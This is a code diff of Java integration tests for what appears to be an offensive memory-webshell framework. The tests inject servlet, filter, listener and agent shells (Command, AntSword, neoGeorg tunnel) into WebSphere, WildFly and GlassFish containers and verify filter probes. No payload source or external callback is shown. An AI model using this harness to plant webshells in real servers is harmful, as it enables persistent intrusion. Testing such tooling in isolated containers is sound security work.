|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(9080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = {ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17);
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -44,7 +44,7 @@ public class WebSphere855ContainerTest {
|
|||||||
.withNetwork(network);
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
.withNetwork(network)
|
.withNetwork(network)
|
||||||
|
|||||||
+1
-1
@@ -44,7 +44,7 @@ public class WebSphere905ContainerTest {
|
|||||||
.withNetwork(network);
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
.withNetwork(network)
|
.withNetwork(network)
|
||||||
|
|||||||
+1
-1
@@ -42,7 +42,7 @@ public class WebSphere700ContainerTest {
|
|||||||
.withNetwork(network);
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
.withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
.withNetwork(network)
|
.withNetwork(network)
|
||||||
|
|||||||
+85
@@ -0,0 +1,85 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Wildfly26ContainerTest {
|
||||||
|
public static final String imageName = "quay.io/wildfly/wildfly:26.1.3.Final-jdk11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.Undertow;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = { ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11);
|
||||||
|
}
|
||||||
|
}
|
||||||
+88
@@ -0,0 +1,88 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Wildfly27ContainerTest {
|
||||||
|
public static final String imageName = "quay.io/wildfly/wildfly:27.0.1.Final-jdk11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.Undertow;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
null, List.of(ShellTool.AntSword) // AntSword not support jakarta
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11);
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
|
||||||
import com.reajason.javaweb.probe.payload.JdkProbe;
|
import com.reajason.javaweb.probe.payload.JdkProbe;
|
||||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.filter.*;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
@@ -17,7 +18,7 @@ public class DetectionTool {
|
|||||||
public static String getBase64Class(Class<?> clazz) {
|
public static String getBase64Class(Class<?> clazz) {
|
||||||
return Base64.encodeBase64String(new ByteBuddy()
|
return Base64.encodeBase64String(new ByteBuddy()
|
||||||
.redefine(clazz)
|
.redefine(clazz)
|
||||||
.name(CommonUtil.generateShellClassName())
|
.name(CommonUtil.generateClassName())
|
||||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
.make().getBytes());
|
.make().getBytes());
|
||||||
}
|
}
|
||||||
|
|||||||
+34
-1
@@ -2,10 +2,18 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.api.BeforeAll;
|
import org.junit.jupiter.api.BeforeAll;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
@@ -16,10 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
import java.time.Duration;
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,6 +53,11 @@ public class GlassFish3ContainerTest {
|
|||||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void teardown() {
|
||||||
|
log.info(container.getLogs());
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void testJDK() {
|
void testJDK() {
|
||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
@@ -77,4 +93,21 @@ public class GlassFish3ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
-1
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -17,10 +24,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
import java.time.Duration;
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -83,4 +93,21 @@ public class GlassFish4ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.BeforeAll;
|
import org.junit.jupiter.api.BeforeAll;
|
||||||
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -75,4 +86,21 @@ public class GlassFish501ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.BeforeAll;
|
import org.junit.jupiter.api.BeforeAll;
|
||||||
@@ -16,9 +23,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -76,4 +87,21 @@ public class GlassFish510ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
ShellAssertion.assertFilterProbeIsRight(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish));
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertEquals(filterName, memShellResult.getShellClassName());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+28
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.glassfish;
|
|||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
